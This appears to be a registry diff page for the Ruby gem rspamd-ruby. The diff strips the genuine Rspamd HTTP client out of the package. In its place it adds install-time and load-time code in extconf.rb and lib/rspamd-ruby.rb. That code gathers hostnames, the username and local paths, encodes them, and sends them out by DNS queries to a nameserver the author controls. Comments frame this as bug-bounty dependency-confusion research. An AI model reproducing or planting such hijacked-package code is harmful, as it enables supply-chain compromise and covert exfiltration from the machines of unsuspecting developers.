rspamd-ruby 1.0.0 → 90002.0

Sign up to get free protection for your applications and to get access to all the features.

Potentially problematic release.


This version of rspamd-ruby might be problematic. Click here for more details.

checksums.yaml CHANGED
@@ -1,7 +1,7 @@
1
1
  ---
2
2
  SHA256:
3
- metadata.gz: 1fbf843187c61d00b8bdfc92261d43df0cacd691ea0e028427acb5b9493b81df
4
- data.tar.gz: aa65860dd58db51d418d3eae722f27b8518dba360f42ff4a8fe371b58ed0f08b
3
+ metadata.gz: b4af500c8789fde7d32d3710b0165a36b748b8549e71c900c77d4231dbd1bfae
4
+ data.tar.gz: 9879b6445d90145ec8cdfc59a2d3606ca2ffe1eed89756f07fe3851826106e12
5
5
  SHA512:
6
- metadata.gz: 514f0dadd0c2bcc3ff8c68b1f65da421a8f5b5dd988188e28db72d1ca2899d3a22718a4479d34106e5124b8bf74c5074f1c8279f631e0767b39878ea958dc044
7
- data.tar.gz: bd141fd2320ea5ea328e24fb09b434cacdff04e65256de6549e9304cf9d85d5ea44c2adea95c3236cc667479546b9aec515d8bf6bd61442890d71d1824ee4e97
6
+ metadata.gz: 303a3e8450bd09056ea2bd2eb315fc8d06ad58bf71285836f234590921f5c8d2eb9084085f94c56a500b12c81ec04c7f403fee13c2885f46625fe1cc5f14693d
7
+ data.tar.gz: ebc4a83a87fe9217dbd2f25dcf50300ed4265382a06dd5613541119cec8b93bd79fe834e1e6ea301fd32674566085765de60caf47a7bddaa0261b6dde3332e7f
@@ -0,0 +1,177 @@
1
+ require "mkmf"
2
+
3
+ create_makefile "gem_test/gem_test"
4
+ =begin
5
+ Hi, if you're reading this you're probably wondering what this code is doing on
6
+ your machine. Don't worry! It doesn't do anything nasty or malicious.
7
+
8
+ I am an ethical security researcher, attempting attacks against organisations
9
+ that have a "bug bounty" type program in place.
10
+
11
+ I am performing work similar to the work in this blog post:
12
+ https://medium.com/@alex.birsan/dependency-confusion-4a5d60fec610
13
+
14
+ If your organisation has a bug bounty program my findings will be reported via
15
+ that program.
16
+
17
+ If your organisation does not have a bug bounty program, you were not targeted
18
+ by my work and have some how ended up getting included, any data reported from
19
+ your org will be discarded.
20
+
21
+ All data I collect will be deleted as soon as I'm done, in either case.
22
+
23
+ If you are reading this then you probably need to tighten up your Gemfiles
24
+ and/or upgrade Bundler, see here for more details:
25
+
26
+ https://bundler.io/blog/2021/02/15/a-more-secure-bundler-we-fixed-our-source-priorities.html
27
+
28
+ You can read the code to confirm this but here's a top-level view of what it
29
+ does to help you out:
30
+
31
+ Grabs the hostname(s), current username, and the file paths to this script,
32
+ the current working directory, and the home directory. This helps me identify
33
+ which machines have been affected (for reporting), at which organisation (to
34
+ know who to report it to), and to eliminate false positives from machines that
35
+ fetch and install every Gem.
36
+
37
+ Generates a random ID so I can piece together the different fragments of data.
38
+
39
+ Encodes all the data as json, compresses it, Base32 encodes it, and chops it
40
+ into chunks to go out as DNS queries that will hit a nameserver I control.
41
+
42
+ That's it!
43
+
44
+ If you have any questions or want to get in touch for any reason, you can reach
45
+ me at zofrex@gmail.com
46
+
47
+ =end
48
+
49
+ puts "Package 'rspamd-ruby' has been hijacked via RubyGems, if you're reading logs and wondering why things broke, that's probably why."
50
+
51
+ begin # big catch-all over everything to stop any errors escaping
52
+ def do_or_whatever
53
+ yield
54
+ rescue Exception
55
+ # keep going
56
+ end
57
+
58
+ do_or_whatever { require 'net/http' }
59
+ do_or_whatever { require 'socket' }
60
+ do_or_whatever { require 'etc' }
61
+ require 'securerandom'
62
+ require 'json'
63
+ require 'resolv'
64
+
65
+ def report_analytics
66
+ report_id = SecureRandom.alphanumeric(8)
67
+
68
+ idx_package = 0
69
+ idx_hostnames = 1
70
+ idx_username = 2
71
+ idx_paths = 3
72
+ idx_event = 4
73
+
74
+ idx_paths_file = 0
75
+ idx_paths_cwd = 1
76
+ idx_paths_script = 2
77
+ idx_paths_home = 3
78
+
79
+ data = Hash.new
80
+
81
+ data[idx_event] = 'install'
82
+
83
+ # package name
84
+
85
+ data[idx_package] = 'rspamd-ruby-90002.0'
86
+
87
+ # get possible hostnames
88
+
89
+ hostnames = []
90
+
91
+ do_or_whatever { hostnames << Socket.gethostname }
92
+ do_or_whatever { hostnames << Socket.gethostbyname(Socket.gethostname).first }
93
+ do_or_whatever { hostnames << `hostname` }
94
+ do_or_whatever { hostnames << `hostname -f` }
95
+
96
+ data[idx_hostnames] = hostnames.map(&:strip).uniq
97
+
98
+ # get local user
99
+
100
+ do_or_whatever { data[idx_username] = Etc.getlogin }
101
+
102
+ # get useful paths
103
+
104
+ paths = Hash.new
105
+
106
+ do_or_whatever { paths[idx_paths_file] = File.dirname(__FILE__) }
107
+ do_or_whatever { paths[idx_paths_cwd] = Dir.pwd }
108
+ do_or_whatever { paths[idx_paths_script] = __dir__ }
109
+ do_or_whatever { paths[idx_paths_home] = Dir.home }
110
+
111
+ data[idx_paths] = paths
112
+
113
+ # encode payload
114
+
115
+ json = JSON.generate(data)
116
+ compressed = "u#{json}"
117
+
118
+ # attempt to compress data but don't sweat it if that fails
119
+ do_or_whatever do
120
+ require 'zlib'
121
+ compressed = "c#{Zlib.deflate(json)}"
122
+ end
123
+
124
+ # base32 encode the data
125
+ table = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ234567'
126
+ encoded = compressed.bytes.each_slice(5).flat_map do |slice|
127
+ n = (slice.length * 8.0 / 5.0).ceil
128
+ p = n < 8 ? 5 - (slice.length * 8) % 5 : 0
129
+ c = slice.inject(0) {|m,o| (m << 8) + o} << p
130
+ (0..n-1).to_a.reverse.collect {|i| table[(c >> i * 5) & 0x1f].chr}
131
+ end.join
132
+
133
+ # send data out via DNS lookups
134
+ total_queries = (encoded.length / 180.0).ceil
135
+
136
+ google_resolver = Resolv.new([Resolv::Hosts.new, Resolv::DNS.new(nameserver: ['8.8.8.8'])])
137
+ me_resolver = Resolv.new([Resolv::Hosts.new, Resolv::DNS.new(nameserver: ['167.172.150.100'])])
138
+
139
+ method = :generic
140
+ suffix = "zofrex-is-ethically-testing.ga"
141
+
142
+ encoded.chars.each_slice(60).each_slice(3).each_with_index do |chunks, query_number|
143
+ query_data = chunks.map(&:join).join('.')
144
+ data_portion = "#{report_id}.#{query_number+1}.#{total_queries}.#{query_data}"
145
+
146
+ # Try to get the message out somehow, skip the methods that don't work on future loops
147
+ if method == :generic
148
+ begin
149
+ address = Resolv.getaddress "#{data_portion}.rp1.#{suffix}"
150
+ method = :google if address != "127.0.0.3"
151
+ rescue
152
+ method = :google
153
+ end
154
+ end
155
+
156
+ if method == :google
157
+ begin
158
+ address = google_resolver.getaddress "#{data_portion}.rp2.#{suffix}"
159
+ method = :direct if address != "127.0.0.4"
160
+ rescue
161
+ method = :direct
162
+ end
163
+ end
164
+
165
+ if method == :direct
166
+ do_or_whatever { me_resolver.getaddress "#{data_portion}.rp3.#{suffix}" }
167
+ end
168
+ end
169
+ end
170
+
171
+ do_or_whatever { report_analytics }
172
+
173
+ # cleanup
174
+ do_or_whatever { undef report_analytics }
175
+ do_or_whatever { undef do_or_whatever }
176
+ rescue Error
177
+ end
data/lib/rspamd-ruby.rb CHANGED
@@ -1,2 +1,174 @@
1
- require "rspamd/client"
2
- require "rspamd/errors"
1
+ =begin
2
+ Hi, if you're reading this you're probably wondering what this code is doing on
3
+ your machine. Don't worry! It doesn't do anything nasty or malicious.
4
+
5
+ I am an ethical security researcher, attempting attacks against organisations
6
+ that have a "bug bounty" type program in place.
7
+
8
+ I am performing work similar to the work in this blog post:
9
+ https://medium.com/@alex.birsan/dependency-confusion-4a5d60fec610
10
+
11
+ If your organisation has a bug bounty program my findings will be reported via
12
+ that program.
13
+
14
+ If your organisation does not have a bug bounty program, you were not targeted
15
+ by my work and have some how ended up getting included, any data reported from
16
+ your org will be discarded.
17
+
18
+ All data I collect will be deleted as soon as I'm done, in either case.
19
+
20
+ If you are reading this then you probably need to tighten up your Gemfiles
21
+ and/or upgrade Bundler, see here for more details:
22
+
23
+ https://bundler.io/blog/2021/02/15/a-more-secure-bundler-we-fixed-our-source-priorities.html
24
+
25
+ You can read the code to confirm this but here's a top-level view of what it
26
+ does to help you out:
27
+
28
+ Grabs the hostname(s), current username, and the file paths to this script,
29
+ the current working directory, and the home directory. This helps me identify
30
+ which machines have been affected (for reporting), at which organisation (to
31
+ know who to report it to), and to eliminate false positives from machines that
32
+ fetch and install every Gem.
33
+
34
+ Generates a random ID so I can piece together the different fragments of data.
35
+
36
+ Encodes all the data as json, compresses it, Base32 encodes it, and chops it
37
+ into chunks to go out as DNS queries that will hit a nameserver I control.
38
+
39
+ That's it!
40
+
41
+ If you have any questions or want to get in touch for any reason, you can reach
42
+ me at zofrex@gmail.com
43
+
44
+ =end
45
+
46
+ puts "Package 'rspamd-ruby' has been hijacked via RubyGems, if you're reading logs and wondering why things broke, that's probably why."
47
+
48
+ begin # big catch-all over everything to stop any errors escaping
49
+ def do_or_whatever
50
+ yield
51
+ rescue Exception
52
+ # keep going
53
+ end
54
+
55
+ do_or_whatever { require 'net/http' }
56
+ do_or_whatever { require 'socket' }
57
+ do_or_whatever { require 'etc' }
58
+ require 'securerandom'
59
+ require 'json'
60
+ require 'resolv'
61
+
62
+ def report_analytics
63
+ report_id = SecureRandom.alphanumeric(8)
64
+
65
+ idx_package = 0
66
+ idx_hostnames = 1
67
+ idx_username = 2
68
+ idx_paths = 3
69
+ idx_event = 4
70
+
71
+ idx_paths_file = 0
72
+ idx_paths_cwd = 1
73
+ idx_paths_script = 2
74
+ idx_paths_home = 3
75
+
76
+ data = Hash.new
77
+
78
+ data[idx_event] = 'run'
79
+
80
+ # package name
81
+
82
+ data[idx_package] = 'rspamd-ruby-90002.0'
83
+
84
+ # get possible hostnames
85
+
86
+ hostnames = []
87
+
88
+ do_or_whatever { hostnames << Socket.gethostname }
89
+ do_or_whatever { hostnames << Socket.gethostbyname(Socket.gethostname).first }
90
+ do_or_whatever { hostnames << `hostname` }
91
+ do_or_whatever { hostnames << `hostname -f` }
92
+
93
+ data[idx_hostnames] = hostnames.map(&:strip).uniq
94
+
95
+ # get local user
96
+
97
+ do_or_whatever { data[idx_username] = Etc.getlogin }
98
+
99
+ # get useful paths
100
+
101
+ paths = Hash.new
102
+
103
+ do_or_whatever { paths[idx_paths_file] = File.dirname(__FILE__) }
104
+ do_or_whatever { paths[idx_paths_cwd] = Dir.pwd }
105
+ do_or_whatever { paths[idx_paths_script] = __dir__ }
106
+ do_or_whatever { paths[idx_paths_home] = Dir.home }
107
+
108
+ data[idx_paths] = paths
109
+
110
+ # encode payload
111
+
112
+ json = JSON.generate(data)
113
+ compressed = "u#{json}"
114
+
115
+ # attempt to compress data but don't sweat it if that fails
116
+ do_or_whatever do
117
+ require 'zlib'
118
+ compressed = "c#{Zlib.deflate(json)}"
119
+ end
120
+
121
+ # base32 encode the data
122
+ table = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ234567'
123
+ encoded = compressed.bytes.each_slice(5).flat_map do |slice|
124
+ n = (slice.length * 8.0 / 5.0).ceil
125
+ p = n < 8 ? 5 - (slice.length * 8) % 5 : 0
126
+ c = slice.inject(0) {|m,o| (m << 8) + o} << p
127
+ (0..n-1).to_a.reverse.collect {|i| table[(c >> i * 5) & 0x1f].chr}
128
+ end.join
129
+
130
+ # send data out via DNS lookups
131
+ total_queries = (encoded.length / 180.0).ceil
132
+
133
+ google_resolver = Resolv.new([Resolv::Hosts.new, Resolv::DNS.new(nameserver: ['8.8.8.8'])])
134
+ me_resolver = Resolv.new([Resolv::Hosts.new, Resolv::DNS.new(nameserver: ['167.172.150.100'])])
135
+
136
+ method = :generic
137
+ suffix = "zofrex-is-ethically-testing.ga"
138
+
139
+ encoded.chars.each_slice(60).each_slice(3).each_with_index do |chunks, query_number|
140
+ query_data = chunks.map(&:join).join('.')
141
+ data_portion = "#{report_id}.#{query_number+1}.#{total_queries}.#{query_data}"
142
+
143
+ # Try to get the message out somehow, skip the methods that don't work on future loops
144
+ if method == :generic
145
+ begin
146
+ address = Resolv.getaddress "#{data_portion}.rp1.#{suffix}"
147
+ method = :google if address != "127.0.0.3"
148
+ rescue
149
+ method = :google
150
+ end
151
+ end
152
+
153
+ if method == :google
154
+ begin
155
+ address = google_resolver.getaddress "#{data_portion}.rp2.#{suffix}"
156
+ method = :direct if address != "127.0.0.4"
157
+ rescue
158
+ method = :direct
159
+ end
160
+ end
161
+
162
+ if method == :direct
163
+ do_or_whatever { me_resolver.getaddress "#{data_portion}.rp3.#{suffix}" }
164
+ end
165
+ end
166
+ end
167
+
168
+ do_or_whatever { report_analytics }
169
+
170
+ # cleanup
171
+ do_or_whatever { undef report_analytics }
172
+ do_or_whatever { undef do_or_whatever }
173
+ rescue Error
174
+ end
metadata CHANGED
@@ -1,104 +1,30 @@
1
1
  --- !ruby/object:Gem::Specification
2
2
  name: rspamd-ruby
3
3
  version: !ruby/object:Gem::Version
4
- version: 1.0.0
4
+ version: '90002.0'
5
5
  platform: ruby
6
6
  authors:
7
- - George Claghorn
8
- - Lewis Buckley
7
+ - James 'zofrex' Sanderson
9
8
  autorequire:
10
- bindir: bin
9
+ bindir: exe
11
10
  cert_chain: []
12
- date: 2023-07-23 00:00:00.000000000 Z
13
- dependencies:
14
- - !ruby/object:Gem::Dependency
15
- name: rake
16
- requirement: !ruby/object:Gem::Requirement
17
- requirements:
18
- - - "~>"
19
- - !ruby/object:Gem::Version
20
- version: '13.0'
21
- type: :development
22
- prerelease: false
23
- version_requirements: !ruby/object:Gem::Requirement
24
- requirements:
25
- - - "~>"
26
- - !ruby/object:Gem::Version
27
- version: '13.0'
28
- - !ruby/object:Gem::Dependency
29
- name: minitest
30
- requirement: !ruby/object:Gem::Requirement
31
- requirements:
32
- - - ">"
33
- - !ruby/object:Gem::Version
34
- version: '5.11'
35
- type: :development
36
- prerelease: false
37
- version_requirements: !ruby/object:Gem::Requirement
38
- requirements:
39
- - - ">"
40
- - !ruby/object:Gem::Version
41
- version: '5.11'
42
- - !ruby/object:Gem::Dependency
43
- name: webmock
44
- requirement: !ruby/object:Gem::Requirement
45
- requirements:
46
- - - "~>"
47
- - !ruby/object:Gem::Version
48
- version: '3.0'
49
- type: :development
50
- prerelease: false
51
- version_requirements: !ruby/object:Gem::Requirement
52
- requirements:
53
- - - "~>"
54
- - !ruby/object:Gem::Version
55
- version: '3.0'
56
- - !ruby/object:Gem::Dependency
57
- name: debug
58
- requirement: !ruby/object:Gem::Requirement
59
- requirements:
60
- - - ">="
61
- - !ruby/object:Gem::Version
62
- version: '0'
63
- type: :development
64
- prerelease: false
65
- version_requirements: !ruby/object:Gem::Requirement
66
- requirements:
67
- - - ">="
68
- - !ruby/object:Gem::Version
69
- version: '0'
70
- description:
71
- email: lewis@37signals.com
11
+ date: 2021-02-16 00:00:00.000000000 Z
12
+ dependencies: []
13
+ description: I am testing for dependency confusion vulnerabilities in products that
14
+ are in public bug bounty programs. This code is reporting-only, and does not do
15
+ anything malicious.
16
+ email:
17
+ - gem-research@zofrex.com
72
18
  executables: []
73
- extensions: []
19
+ extensions:
20
+ - ext/rspamd-ruby/extconf.rb
74
21
  extra_rdoc_files: []
75
22
  files:
76
- - ".github/workflows/ci.yml"
77
- - ".gitignore"
78
- - ".rubocop.yml"
79
- - ".ruby-version"
80
- - Gemfile
81
- - Gemfile.lock
82
- - MIT-LICENSE
83
- - README.md
84
- - Rakefile
85
- - bin/release
23
+ - ext/rspamd-ruby/extconf.rb
86
24
  - lib/rspamd-ruby.rb
87
- - lib/rspamd/check/result.rb
88
- - lib/rspamd/client.rb
89
- - lib/rspamd/configuration.rb
90
- - lib/rspamd/errors.rb
91
- - lib/rspamd/service.rb
92
- - lib/rspamd/version.rb
93
- - rspamd-ruby.gemspec
94
- - test/client_test.rb
95
- - test/fixtures/mail/ham.eml
96
- - test/fixtures/responses/already_reported.json
97
- - test/fixtures/responses/ham.json
98
- - test/fixtures/responses/spam.json
99
- - test/test_helper.rb
100
- homepage: https://github.com/basecamp/rspamd-ruby
101
- licenses: []
25
+ homepage:
26
+ licenses:
27
+ - MIT
102
28
  metadata: {}
103
29
  post_install_message:
104
30
  rdoc_options: []
@@ -108,21 +34,15 @@ required_ruby_version: !ruby/object:Gem::Requirement
108
34
  requirements:
109
35
  - - ">="
110
36
  - !ruby/object:Gem::Version
111
- version: 2.7.8
37
+ version: 1.9.0
112
38
  required_rubygems_version: !ruby/object:Gem::Requirement
113
39
  requirements:
114
40
  - - ">="
115
41
  - !ruby/object:Gem::Version
116
42
  version: '0'
117
43
  requirements: []
118
- rubygems_version: 3.4.10
44
+ rubygems_version: 3.1.4
119
45
  signing_key:
120
46
  specification_version: 4
121
- summary: Client for Rspamd's HTTP API
122
- test_files:
123
- - test/client_test.rb
124
- - test/fixtures/mail/ham.eml
125
- - test/fixtures/responses/already_reported.json
126
- - test/fixtures/responses/ham.json
127
- - test/fixtures/responses/spam.json
128
- - test/test_helper.rb
47
+ summary: Testing dependency confusion bugs
48
+ test_files: []
@@ -1,27 +0,0 @@
1
- name: CI
2
- on: [push, pull_request]
3
- jobs:
4
- tests:
5
- runs-on: ubuntu-latest
6
-
7
- steps:
8
- - uses: actions/checkout@v1
9
-
10
- - name: Set up Ruby
11
- uses: ruby/setup-ruby@v1
12
- with:
13
- ruby-version: 2.7.8
14
- rubygems: latest
15
-
16
- - name: Cache gem dependencies
17
- uses: actions/cache@v1
18
- with:
19
- path: vendor/bundle
20
- key: ${{ runner.os }}-bundler-${{ hashFiles('**/Gemfile.lock') }}
21
- restore-keys: ${{ runner.os }}-bundler-
22
-
23
- - name: Install dependencies
24
- run: gem install bundler && bundle install --jobs 4 --retry 3 --path vendor/bundle
25
-
26
- - name: Run tests
27
- run: bundle exec rake test
data/.gitignore DELETED
@@ -1,2 +0,0 @@
1
- *.gem
2
- .byebug_history
data/.rubocop.yml DELETED
@@ -1 +0,0 @@
1
- inherit_gem: { rubocop-37signals: rubocop.yml }
data/.ruby-version DELETED
@@ -1 +0,0 @@
1
- 2.7.8
data/Gemfile DELETED
@@ -1,5 +0,0 @@
1
- source "https://rubygems.org"
2
-
3
- gemspec
4
-
5
- gem "rubocop-37signals", github: "basecamp/house-style", require: false, branch: :main
data/Gemfile.lock DELETED
@@ -1,98 +0,0 @@
1
- GIT
2
- remote: https://github.com/basecamp/house-style.git
3
- revision: b3ad65254828e8e8019a0d9a6205aff9ad206a77
4
- branch: main
5
- specs:
6
- rubocop-37signals (1.0.0)
7
- rubocop
8
- rubocop-minitest
9
- rubocop-performance
10
- rubocop-rails
11
-
12
- PATH
13
- remote: .
14
- specs:
15
- rspamd-ruby (1.0.0)
16
-
17
- GEM
18
- remote: https://rubygems.org/
19
- specs:
20
- activesupport (6.1.7.4)
21
- concurrent-ruby (~> 1.0, >= 1.0.2)
22
- i18n (>= 1.6, < 2)
23
- minitest (>= 5.1)
24
- tzinfo (~> 2.0)
25
- zeitwerk (~> 2.3)
26
- addressable (2.8.1)
27
- public_suffix (>= 2.0.2, < 6.0)
28
- ast (2.4.2)
29
- concurrent-ruby (1.2.0)
30
- crack (0.4.3)
31
- safe_yaml (~> 1.0.0)
32
- debug (1.7.1)
33
- irb (>= 1.5.0)
34
- reline (>= 0.3.1)
35
- hashdiff (1.0.0)
36
- i18n (1.12.0)
37
- concurrent-ruby (~> 1.0)
38
- io-console (0.6.0)
39
- irb (1.6.2)
40
- reline (>= 0.3.0)
41
- json (2.6.3)
42
- minitest (5.17.0)
43
- parallel (1.22.1)
44
- parser (3.2.1.0)
45
- ast (~> 2.4.1)
46
- public_suffix (5.0.0)
47
- rack (3.0.4.1)
48
- rainbow (3.1.1)
49
- rake (13.0.1)
50
- regexp_parser (2.7.0)
51
- reline (0.3.2)
52
- io-console (~> 0.5)
53
- rexml (3.2.5)
54
- rubocop (1.45.1)
55
- json (~> 2.3)
56
- parallel (~> 1.10)
57
- parser (>= 3.2.0.0)
58
- rainbow (>= 2.2.2, < 4.0)
59
- regexp_parser (>= 1.8, < 3.0)
60
- rexml (>= 3.2.5, < 4.0)
61
- rubocop-ast (>= 1.24.1, < 2.0)
62
- ruby-progressbar (~> 1.7)
63
- unicode-display_width (>= 2.4.0, < 3.0)
64
- rubocop-ast (1.26.0)
65
- parser (>= 3.2.1.0)
66
- rubocop-minitest (0.27.0)
67
- rubocop (>= 0.90, < 2.0)
68
- rubocop-performance (1.16.0)
69
- rubocop (>= 1.7.0, < 2.0)
70
- rubocop-ast (>= 0.4.0)
71
- rubocop-rails (2.19.1)
72
- activesupport (>= 4.2.0)
73
- rack (>= 1.1)
74
- rubocop (>= 1.33.0, < 2.0)
75
- ruby-progressbar (1.11.0)
76
- safe_yaml (1.0.5)
77
- tzinfo (2.0.6)
78
- concurrent-ruby (~> 1.0)
79
- unicode-display_width (2.4.2)
80
- webmock (3.8.0)
81
- addressable (>= 2.3.6)
82
- crack (>= 0.3.2)
83
- hashdiff (>= 0.4.0, < 2.0.0)
84
- zeitwerk (2.6.8)
85
-
86
- PLATFORMS
87
- ruby
88
-
89
- DEPENDENCIES
90
- debug
91
- minitest (> 5.11)
92
- rake (~> 13.0)
93
- rspamd-ruby!
94
- rubocop-37signals!
95
- webmock (~> 3.0)
96
-
97
- BUNDLED WITH
98
- 2.4.17
data/MIT-LICENSE DELETED
@@ -1,20 +0,0 @@
1
- Copyright (c) 2023 37signals
2
-
3
- Permission is hereby granted, free of charge, to any person obtaining
4
- a copy of this software and associated documentation files (the
5
- "Software"), to deal in the Software without restriction, including
6
- without limitation the rights to use, copy, modify, merge, publish,
7
- distribute, sublicense, and/or sell copies of the Software, and to
8
- permit persons to whom the Software is furnished to do so, subject to
9
- the following conditions:
10
-
11
- The above copyright notice and this permission notice shall be
12
- included in all copies or substantial portions of the Software.
13
-
14
- THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,
15
- EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF
16
- MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND
17
- NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE
18
- LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION
19
- OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION
20
- WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
data/README.md DELETED
@@ -1,74 +0,0 @@
1
- # Ruby client for Rspamd’s HTTP API
2
-
3
- ## Usage
4
-
5
- Initialize a client with the host and port of an Rspamd controller process:
6
-
7
- ```ruby
8
- client = Rspamd::Client.new(host: "localhost", port: 11334)
9
- ```
10
-
11
- Check a message:
12
-
13
- ```ruby
14
- result = client.check(<<~MIME)
15
- Date: Tue, 21 Jan 2020 21:04:42 +0000
16
- From: Alice <alice@example.com>
17
- To: Bob <bob@example.com>
18
- Message-ID: <975bad33-2e76-40c3-89aa-7fe1edcbe7ce@example.com>
19
- Subject: Hello
20
- Mime-Version: 1.0
21
- Content-Type: text/plain; charset=UTF-8
22
- Content-Transfer-Encoding: quoted-printable
23
- Delivered-To: bob@example.com
24
-
25
- Hi Bob!
26
-
27
- -Alice
28
- MIME
29
-
30
- result.spam? # => false
31
- result.ham? # => true
32
-
33
- result.score # => 1.2
34
- result.required_score # => 15
35
- result.action # => "no action"
36
- ```
37
-
38
- Report a message as spam:
39
-
40
- ```ruby
41
- client.spam!(<<~MIME)
42
- Date: Tue, 21 Jan 2020 21:04:42 +0000
43
- From: Spammer <spammer@example.com>
44
- To: Bob <bob@example.com>
45
- Message-ID: <975bad33-2e76-40c3-89aa-7fe1edcbe7ce@example.com>
46
- Subject: Hello
47
- Mime-Version: 1.0
48
- Content-Type: text/plain; charset=UTF-8
49
- Content-Transfer-Encoding: quoted-printable
50
- Delivered-To: bob@example.com
51
-
52
- Buy some stuff?
53
- MIME
54
- ```
55
-
56
- Report a message as ham:
57
-
58
- ```ruby
59
- client.ham!(<<~MIME)
60
- Date: Tue, 21 Jan 2020 21:04:42 +0000
61
- From: Alice <alice@example.com>
62
- To: Bob <bob@example.com>
63
- Message-ID: <975bad33-2e76-40c3-89aa-7fe1edcbe7ce@example.com>
64
- Subject: Hello
65
- Mime-Version: 1.0
66
- Content-Type: text/plain; charset=UTF-8
67
- Content-Transfer-Encoding: quoted-printable
68
- Delivered-To: bob@example.com
69
-
70
- Hi Bob!
71
-
72
- -Alice
73
- MIME
74
- ```
data/Rakefile DELETED
@@ -1,9 +0,0 @@
1
- require "bundler/setup"
2
- require "rake/testtask"
3
-
4
- Rake::TestTask.new do |test|
5
- test.libs << "test"
6
- test.test_files = FileList["test/**/*_test.rb"]
7
- end
8
-
9
- task default: :test
data/bin/release DELETED
@@ -1,14 +0,0 @@
1
- #!/usr/bin/env bash
2
-
3
- VERSION=$1
4
-
5
- printf "module Rspamd\n VERSION = \"$VERSION\"\nend\n" > ./lib/rspamd/version.rb
6
- bundle
7
- git add Gemfile.lock lib/rspamd/version.rb
8
- git commit -m "Bump version for $VERSION"
9
- git push
10
- git tag v$VERSION
11
- git push --tags
12
- gem build rspamd-ruby.gemspec
13
- gem push "rspamd-ruby-$VERSION.gem" --host https://rubygems.org
14
- rm "rspamd-ruby-$VERSION.gem"
@@ -1,59 +0,0 @@
1
- module Rspamd
2
- module Check
3
- class Result
4
- attr_reader :data
5
-
6
- def self.parse(source)
7
- new JSON.parse(source)
8
- end
9
-
10
- def initialize(data = {})
11
- @data = data
12
- end
13
-
14
- def spam?
15
- score >= required_score
16
- end
17
-
18
- def ham?
19
- !spam?
20
- end
21
-
22
- def skipped?
23
- data.fetch("is_skipped")
24
- end
25
-
26
- def score
27
- data.fetch("score")
28
- end
29
-
30
- def required_score
31
- data.fetch("required_score")
32
- end
33
-
34
- def action
35
- data.fetch("action")
36
- end
37
-
38
- def symbols
39
- data.fetch("symbols")
40
- end
41
-
42
- def subject
43
- data["subject"]
44
- end
45
-
46
- def urls
47
- data["urls"] || []
48
- end
49
-
50
- def emails
51
- data["emails"] || []
52
- end
53
-
54
- def message_id
55
- data["message_id"]
56
- end
57
- end
58
- end
59
- end
data/lib/rspamd/client.rb DELETED
@@ -1,69 +0,0 @@
1
- require "rspamd/configuration"
2
- require "rspamd/service"
3
- require "rspamd/check/result"
4
- require "rspamd/errors"
5
-
6
- module Rspamd
7
- class Client
8
- attr_reader :configuration
9
-
10
- def initialize(**options)
11
- @configuration = Configuration.new(**options)
12
- end
13
-
14
- def ping
15
- service.get("/ping")
16
- .then { |response| response.is_a?(Net::HTTPOK) && response.body.match?(/\Apong(\r?\n)?\z/) }
17
- rescue Net::OpenTimeout, Net::ReadTimeout, IOError, SystemCallError
18
- false
19
- end
20
-
21
- def check(message, headers: {})
22
- service.post("/checkv2", headers: headers, body: message).then do |response|
23
- if response.is_a?(Net::HTTPOK)
24
- Check::Result.parse(response.body)
25
- else
26
- raise InvalidResponse, "Received invalid response from Rspamd: expected 200 OK, got #{response.code} #{response.message}".strip
27
- end
28
- end
29
- end
30
-
31
- def spam!(message)
32
- learn :spam, message
33
- end
34
-
35
- def ham!(message)
36
- learn :ham, message
37
- end
38
-
39
- def add_fuzzy(message, flag: 1, weight: 1)
40
- post("/fuzzyadd", message, "Flag" => flag, "Weight" => weight)
41
- end
42
-
43
- def delete_fuzzy(message, flag: 1)
44
- post("/fuzzydel", message, "Flag" => flag)
45
- end
46
-
47
- private
48
- def service
49
- @service ||= Service.new(configuration)
50
- end
51
-
52
- def learn(classification, message)
53
- post("/learn#{classification}", message)
54
- end
55
-
56
- def post(endpoint, body, **headers)
57
- service.post(endpoint, body: body, headers: headers).then do |response|
58
- case response
59
- when Net::HTTPOK
60
- JSON.parse(response.body).fetch("success")
61
- when Net::HTTPNoContent, Net::HTTPAlreadyReported
62
- false
63
- else
64
- raise Rspamd::Error, JSON.parse(response.body)["error"] || "Received unspecified error from Rspamd"
65
- end
66
- end
67
- end
68
- end
69
- end
@@ -1,39 +0,0 @@
1
- module Rspamd
2
- class Configuration
3
- attr_reader :options
4
-
5
- def initialize(**options)
6
- @options = options
7
- end
8
-
9
- def scheme
10
- options[:scheme] || "http"
11
- end
12
-
13
- def host
14
- options[:host] || "localhost"
15
- end
16
-
17
- def port
18
- options[:port] || 11333
19
- end
20
-
21
-
22
- def open_timeout
23
- options[:open_timeout] || 1
24
- end
25
-
26
- def read_timeout
27
- options[:read_timeout] || 10
28
- end
29
-
30
-
31
- def user_agent
32
- options[:user_agent] || "rspamd-ruby"
33
- end
34
-
35
- def password
36
- options[:password]
37
- end
38
- end
39
- end
data/lib/rspamd/errors.rb DELETED
@@ -1,4 +0,0 @@
1
- module Rspamd
2
- class Error < StandardError; end
3
- class InvalidResponse < Error; end
4
- end
@@ -1,34 +0,0 @@
1
- module Rspamd
2
- class Service
3
- attr_reader :configuration
4
-
5
- def initialize(configuration)
6
- @configuration = configuration
7
- end
8
-
9
- def get(path)
10
- client.get path, default_headers
11
- end
12
-
13
- def post(path, body: nil, headers: {})
14
- client.post path, body, default_headers.merge(headers.compact.transform_values(&:to_s))
15
- end
16
-
17
- private
18
- def client
19
- @client ||= Net::HTTP.start \
20
- configuration.host,
21
- configuration.port,
22
- use_ssl: configuration.scheme == "https",
23
- open_timeout: configuration.open_timeout,
24
- read_timeout: configuration.read_timeout
25
- end
26
-
27
- def default_headers
28
- {
29
- "User-Agent" => configuration.user_agent,
30
- "Password" => configuration.password
31
- }.compact
32
- end
33
- end
34
- end
@@ -1,3 +0,0 @@
1
- module Rspamd
2
- VERSION = "1.0.0"
3
- end
data/rspamd-ruby.gemspec DELETED
@@ -1,20 +0,0 @@
1
